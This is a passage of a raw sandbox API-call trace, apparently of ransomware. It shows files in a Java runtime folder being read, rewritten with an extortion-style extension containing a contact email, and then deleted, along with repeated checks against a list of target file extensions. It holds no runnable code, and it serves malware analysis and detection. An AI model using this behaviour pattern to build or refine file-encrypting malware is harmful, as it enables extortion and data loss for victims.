dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.170] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.170] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0090.171] GetLastError () returned 0x0 [0090.171] ReadFile (in: hFile=0x2f4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x26a40, lpOverlapped=0x0) returned 1 [0090.706] WriteFile (in: hFile=0x338, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x26a50, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x26a50, lpOverlapped=0x0) returned 1 [0090.709] ReadFile (in: hFile=0x2f4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.709] WriteFile (in: hFile=0x338, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xe6, lpOverlapped=0x0) returned 1 [0090.709] SetEndOfFile (hFile=0x338) returned 1 [0090.709] CloseHandle (hObject=0x338) returned 1 [0090.709] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.709] SetEndOfFile (hFile=0x2f4) returned 1 [0090.711] CloseHandle (hObject=0x2f4) returned 1 [0090.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0090.711] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll")) returned 1 [0090.720] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0090.720] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0090.720] lstrlenW (lpString=".doc") returned 4 [0090.721] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0090.721] lstrlenW (lpString=".docx") returned 5 [0090.721] lstrcmpiW (lpString1=".docx", lpString2="f.dll") returned -1 [0090.721] lstrlenW (lpString=".pdf") returned 4 [0090.721] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0090.721] lstrlenW (lpString=".xls") returned 4 [0090.721] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0090.721] lstrlenW (lpString=".xlsx") returned 5 [0090.721] lstrcmpiW (lpString1=".xlsx", lpString2="f.dll") returned -1 [0090.721] lstrlenW (lpString=".ppt") returned 4 [0090.721] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0090.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0090.721] lstrlenW (lpString=".zip") returned 4 [0090.721] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0090.721] lstrlenW (lpString=".rar") returned 4 [0090.721] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0090.721] lstrlenW (lpString=".bz2") returned 4 [0090.721] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0090.721] lstrlenW (lpString=".7z") returned 3 [0090.721] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0090.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0090.721] lstrlenW (lpString=".dbf") returned 4 [0090.721] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0090.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0090.721] lstrlenW (lpString=".1cd") returned 4 [0090.721] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0090.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0090.721] lstrlenW (lpString=".jpg") returned 4 [0090.721] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0090.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0090.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0090.721] lstrlenW (lpString=".doc") returned 4 [0090.721] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0090.721] lstrlenW (lpString=".docx") returned 5 [0090.721] lstrcmpiW (lpString1=".docx", lpString2="f.dll") returned -1 [0090.721] lstrlenW (lpString=".pdf") returned 4 [0090.722] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0090.722] lstrlenW (lpString=".xls") returned 4 [0090.722] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0090.722] lstrlenW (lpString=".xlsx") returned 5 [0090.722] lstrcmpiW (lpString1=".xlsx", lpString2="f.dll") returned -1 [0090.722] lstrlenW (lpString=".ppt") returned 4 [0090.722] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0090.722] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0090.722] lstrlenW (lpString=".zip") returned 4 [0090.722] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0090.722] lstrlenW (lpString=".rar") returned 4 [0090.722] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0090.722] lstrlenW (lpString=".bz2") returned 4 [0090.722] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0090.722] lstrlenW (lpString=".7z") returned 3 [0090.722] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0090.722] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0090.722] lstrlenW (lpString=".dbf") returned 4 [0090.722] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0090.722] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0090.722] lstrlenW (lpString=".1cd") returned 4 [0090.722] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0090.722] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0090.722] lstrlenW (lpString=".jpg") returned 4 [0090.722] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0090.722] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0090.722] lstrlenW (lpString="java.exe") returned 8 [0090.722] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0090.936] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=206912) returned 1 [0090.936] CloseHandle (hObject=0x398) returned 1 [0090.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe")) returned 0x20 [0090.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.957] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0090.957] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.957] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.957] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0090.960] GetLastError () returned 0x0 [0090.960] ReadFile (in: hFile=0x33c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x32840, lpOverlapped=0x0) returned 1 [0090.965] WriteFile (in: hFile=0x398, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x32850, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x32850, lpOverlapped=0x0) returned 1 [0090.969] ReadFile (in: hFile=0x33c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.969] WriteFile (in: hFile=0x398, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xe4, lpOverlapped=0x0) returned 1 [0090.969] SetEndOfFile (hFile=0x398) returned 1 [0090.969] CloseHandle (hObject=0x398) returned 1 [0090.969] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.969] SetEndOfFile (hFile=0x33c) returned 1 [0090.971] CloseHandle (hObject=0x33c) returned 1 [0090.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0090.971] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe")) returned 1 [0090.972] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0090.972] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0090.972] lstrlenW (lpString=".doc") returned 4 [0090.972] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0090.972] lstrlenW (lpString=".docx") returned 5 [0090.972] lstrcmpiW (lpString1=".docx", lpString2="a.exe") returned -1 [0090.972] lstrlenW (lpString=".pdf") returned 4 [0090.972] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0090.972] lstrlenW (lpString=".xls") returned 4 [0090.972] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0090.972] lstrlenW (lpString=".xlsx") returned 5 [0090.972] lstrcmpiW (lpString1=".xlsx", lpString2="a.exe") returned -1 [0090.972] lstrlenW (lpString=".ppt") returned 4 [0090.972] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0090.972] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0090.972] lstrlenW (lpString=".zip") returned 4 [0090.972] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0090.972] lstrlenW (lpString=".rar") returned 4 [0090.972] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0090.972] lstrlenW (lpString=".bz2") returned 4 [0090.972] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0090.972] lstrlenW (lpString=".7z") returned 3 [0090.972] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0090.972] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0090.972] lstrlenW (lpString=".dbf") returned 4 [0090.972] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0090.972] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0090.972] lstrlenW (lpString=".1cd") returned 4 [0090.972] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0090.972] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0090.972] lstrlenW (lpString=".jpg") returned 4 [0090.972] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0090.973] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0090.973] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0090.973] lstrlenW (lpString=".doc") returned 4 [0090.973] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0090.973] lstrlenW (lpString=".docx") returned 5 [0090.973] lstrcmpiW (lpString1=".docx", lpString2="a.exe") returned -1 [0090.973] lstrlenW (lpString=".pdf") returned 4 [0090.973] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0090.973] lstrlenW (lpString=".xls") returned 4 [0090.973] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0090.973] lstrlenW (lpString=".xlsx") returned 5 [0090.973] lstrcmpiW (lpString1=".xlsx", lpString2="a.exe") returned -1 [0090.973] lstrlenW (lpString=".ppt") returned 4 [0090.973] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0090.973] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0090.973] lstrlenW (lpString=".zip") returned 4 [0090.973] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0090.973] lstrlenW (lpString=".rar") returned 4 [0090.973] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0090.973] lstrlenW (lpString=".bz2") returned 4 [0090.973] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0090.973] lstrlenW (lpString=".7z") returned 3 [0090.973] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0090.973] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0090.973] lstrlenW (lpString=".dbf") returned 4 [0090.973] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0090.973] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0090.973] lstrlenW (lpString=".1cd") returned 4 [0090.973] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0090.973] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0090.973] lstrlenW (lpString=".jpg") returned 4 [0090.973] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0090.973] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0090.974] lstrlenW (lpString="javafx_font.dll") returned 15 [0090.974] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0090.974] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=69184) returned 1 [0090.974] CloseHandle (hObject=0x33c) returned 1 [0090.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll")) returned 0x20 [0090.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.974] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0090.974] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.974] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.974] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0090.975] GetLastError () returned 0x0 [0090.975] ReadFile (in: hFile=0x33c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x10e40, lpOverlapped=0x0) returned 1 [0090.977] WriteFile (in: hFile=0x398, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x10e50, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x10e50, lpOverlapped=0x0) returned 1 [0090.979] ReadFile (in: hFile=0x33c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.979] WriteFile (in: hFile=0x398, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xf2, lpOverlapped=0x0) returned 1 [0090.979] SetEndOfFile (hFile=0x398) returned 1 [0090.979] CloseHandle (hObject=0x398) returned 1 [0090.979] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.980] SetEndOfFile (hFile=0x33c) returned 1 [0090.981] CloseHandle (hObject=0x33c) returned 1 [0090.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0090.981] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll")) returned 1 [0090.981] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0090.981] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0090.981] lstrlenW (lpString=".doc") returned 4 [0090.981] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0090.981] lstrlenW (lpString=".docx") returned 5 [0090.981] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0090.981] lstrlenW (lpString=".pdf") returned 4 [0090.981] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0090.981] lstrlenW (lpString=".xls") returned 4 [0090.981] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0090.981] lstrlenW (lpString=".xlsx") returned 5 [0090.981] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0090.981] lstrlenW (lpString=".ppt") returned 4 [0090.982] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0090.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0090.982] lstrlenW (lpString=".zip") returned 4 [0090.982] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0090.982] lstrlenW (lpString=".rar") returned 4 [0090.982] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0090.982] lstrlenW (lpString=".bz2") returned 4 [0090.982] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0090.982] lstrlenW (lpString=".7z") returned 3 [0090.982] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0090.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0090.982] lstrlenW (lpString=".dbf") returned 4 [0090.982] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0090.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0090.982] lstrlenW (lpString=".1cd") returned 4 [0090.982] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0090.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0090.982] lstrlenW (lpString=".jpg") returned 4 [0090.982] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0090.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0090.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0090.982] lstrlenW (lpString=".doc") returned 4 [0090.982] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0090.982] lstrlenW (lpString=".docx") returned 5 [0090.982] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0090.982] lstrlenW (lpString=".pdf") returned 4 [0090.982] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0090.982] lstrlenW (lpString=".xls") returned 4 [0090.982] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0090.982] lstrlenW (lpString=".xlsx") returned 5 [0090.982] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0090.982] lstrlenW (lpString=".ppt") returned 4 [0090.982] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0090.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0090.982] lstrlenW (lpString=".zip") returned 4 [0090.982] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0090.982] lstrlenW (lpString=".rar") returned 4 [0090.983] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0090.983] lstrlenW (lpString=".bz2") returned 4 [0090.983] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0090.983] lstrlenW (lpString=".7z") returned 3 [0090.983] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0090.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0090.983] lstrlenW (lpString=".dbf") returned 4 [0090.983] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0090.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0090.983] lstrlenW (lpString=".1cd") returned 4 [0090.983] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0090.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0090.983] lstrlenW (lpString=".jpg") returned 4 [0090.983] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0090.983] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0090.983] lstrlenW (lpString="javafx_font_t2k.dll") returned 19 [0090.983] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0090.983] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=538176) returned 1 [0090.983] CloseHandle (hObject=0x33c) returned 1 [0090.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll")) returned 0x20 [0090.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.984] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0090.984] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.984] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.984] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0090.984] GetLastError () returned 0x0 [0090.984] ReadFile (in: hFile=0x33c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x83640, lpOverlapped=0x0) returned 1 [0091.344] WriteFile (in: hFile=0x398, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x83650, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x83650, lpOverlapped=0x0) returned 1 [0091.353] ReadFile (in: hFile=0x33c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0091.353] WriteFile (in: hFile=0x398, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: 